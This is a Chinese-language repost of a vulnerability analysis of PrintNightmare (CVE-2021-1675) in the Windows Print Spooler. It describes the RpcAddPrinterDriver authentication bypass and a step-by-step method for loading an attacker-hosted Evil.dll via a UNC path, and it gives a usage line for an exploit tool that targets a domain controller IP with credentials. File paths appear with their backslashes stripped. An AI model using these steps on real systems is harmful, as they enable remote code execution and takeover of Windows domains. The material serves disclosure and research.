【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

  • A+
所属分类:安全文章

点击上方蓝字“Ots安全”一起玩耍

十年前,Windows Printer Spooler 的提权漏洞被用于 Stuxnet,这是一种臭名昭著的蠕虫,摧毁了伊朗的核浓缩离心机并感染了 45000 多个网络。在过去的十年里,spooler 仍然有层出不穷的漏洞被披露出来,其中一些是不为世人所知的,但它们是可能导致灾难的隐藏炸弹。因此,我们在过去几个月专注于 spooler 并取得了丰硕的成果。


研究的开始是 PrintDemon,我们从中得到灵感。在深入挖掘这个漏洞后,我们找到了绕过 MS 补丁的方法。但就在MS发布新版本后,我们立即找到了一种新的方法来再次利用它。在 PrintDemon 的故事之后,我们意识到 spooler 仍然是一个很好的攻击面,尽管安全研究人员已经在 spooler 中寻找漏洞十多年了。我们开始探索 Printer Spooler 的内部工作,并发现其中的一些 0-day Bug。其中一些比 PrintDemon 更强大,更容易被利用,而其他一些可以从远程触发,这可能导致远程代码执行。


CVE-2021-1675 是 Windows Print Spooler 中的远程代码执行。据 MSRC 安全金条称,此漏洞由霍志鹏、Piotr Madej 和张云海报告。


我们之前也发现了这个bug,希望能保密参加天府杯 ☹. 由于已经有人发布了 CVE-2021-1675 的漏洞利用视频。在这里,我们发布了针对 CVE-2021-1675 的文章和漏洞利用。


有关 Windows Spooler 中的更多 RCE 和 LPE 漏洞,请继续关注并等待我们的 Blackhat 演讲“深入了解 Spooler:发现 Windows 打印机中的 LPE 和 RCE 漏洞”。


RpcAddPrinterDriver

向服务器添加打印机驱动程序 (RpcAddPrinterDriver)


让我们检查一下关于 RpcAddPrinterDriver 调用的 MS-RPRN:打印系统远程协议。


要将打印机驱动程序(“OEM 打印机驱动程序”)添加或更新到打印服务器(“CORPSERV”),客户端(“TESTCLT”)执行以下步骤。


  1. 客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。


  2. 客户端确保打印机驱动程序的文件位于服务器可访问的位置。为此,客户端可以共享包含文件的本地目录,或使用 [MS-SMB] 将文件放入服务器上的目录中


  3. 然后客户端分配并填充一个 DRIVER_INFO_2 结构,如下所示:

pName = L"OEM 打印机驱动程序";pEnvironment = L"Windows NT x86"; /* 驱动兼容的环境 */pDriverPath = "\CORPSERVC$DRIVERSTAGINGOEMDRV.DLL";315 / 415[MS-RPRN] - v20200826打印系统远程协议版权所有 © 2020 微软公司发布时间:2020 年 8 月 26 日pDataFile = "\CORPSERVC$DRIVERSTAGINGOEMDATA.DLL";pConfigFile = "\CORPSERVC$DRIVERSTAGINGOEMUI.DLL";

4.客户端分配一个 DRIVER_CONTAINER driverContainer 结构并初始化它以包含 DRIVER_INFO_2 结构。


5.客户端调用 RpcAddPrinterDriver。

RpcAddPrinterDriver( L"\CORPSERV", &driverContainer );

CVE-2021-1675 分析

显然,如果攻击者可以绕过 RpcAddPrinterDriver 的身份验证。他可以在打印服务器中安装恶意驱动程序。在msdn中,客户端需要SeLoadDriverPrivilege来调用RPC。然而,事实并非如此。让我们在这里检查身份验证逻辑:

【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

ValidateObjectAccess 是 Spooler Service 的常规安全检查。但是在第 19 行和第 20 行中,参数 a4 是用户可控的。因此,普通用户可以绕过安全检查并添加驱动程序。如果您在域中,普通域用户可以连接到 DC 中的 Spooler 服务并在 DC 中安装驱动程序。然后他就可以完全控制领域了。


开发

但真正的攻击并没有那么简单。为了利用身份验证绕过漏洞,我们需要了解当您调用 RpcAddPrinterDriver 时 Spooler 服务会做什么。假设您在那里提供服务的路径

pDataFile =A.dllpConfigFile =attackeripEvil.dllpDriverPath=C.dll

它将 A、B 和 C 复制到文件夹 C:WindowsSystem32spooldriversx643new。然后它将它们复制到 C:WindowsSystem32spooldriversx643,并加载 C:WindowsSystem32spooldriversx643A.dll 和 C:WindowsSystem32 spooldriversx643C.dll 进入 Spooler 服务。但是,在最新版本中,Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径,所以我们可以将 pConfigFile 设置为 UNC 路径(evildll)。


这将使我们的 evildll Evil.dll 被复制到 C:WindowsSystem32spooldriversx643 Evil.dll。然后再次调用 RpcAddPrinterDriver,将 pDataFile 设置为 C:WindowsSystem32spooldriversx643Evil.dll。它将加载我们的邪恶 dll。不幸的是,它不起作用。因为如果你在文件夹C:WindowsSystem32spooldriversx643中设置了A、B、C。文件复制会出现访问冲突。为了绕过这个,我们需要使用驱动程序升级的备份功能。


如果我们升级某些驱动程序,旧版本将备份到 C:WindowsSystem32spooldriversx643old1 文件夹中。然后我们可以绕过访问冲突并成功将我们的 evil.dll 注入到 spooler 服务中。


成功加载我们的dll:


用法

.PrintNightmare.exe dc_ip path_to_exp user_name passwordExample:.PrintNightmare.exe 192.168.5.129 \192.168.5.197testMyExploit.dll user2 test123##

【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

windows 服务器上测试 2019 1809 17763.1518


影响

该漏洞可用于实现 LPE 和 RCE。至于 RCE 部分,您需要一个用户在 Spooler 服务上进行身份验证。但是,这在域环境中仍然很重要。由于通常 DC 会启用 Spooler 服务,因此被入侵的域用户可能会利用此漏洞来控制 DC。


这里有更多隐藏在 Spooler 中的炸弹,这是不公开的。我们将分享更多 Windows Spooler 中的 RCE 和 LPE 漏洞,请继续关注并等待我们的 Blackhat 演讲“深入了解 Spooler:发现 Windows 打印机中的 LPE 和 RCE 漏洞”。


原文链接:https://github.com/afwu/PrintNightmare

所有文章点击阅读原文均可阅读原文

【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

本文始发于微信公众号(Ots安全):【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: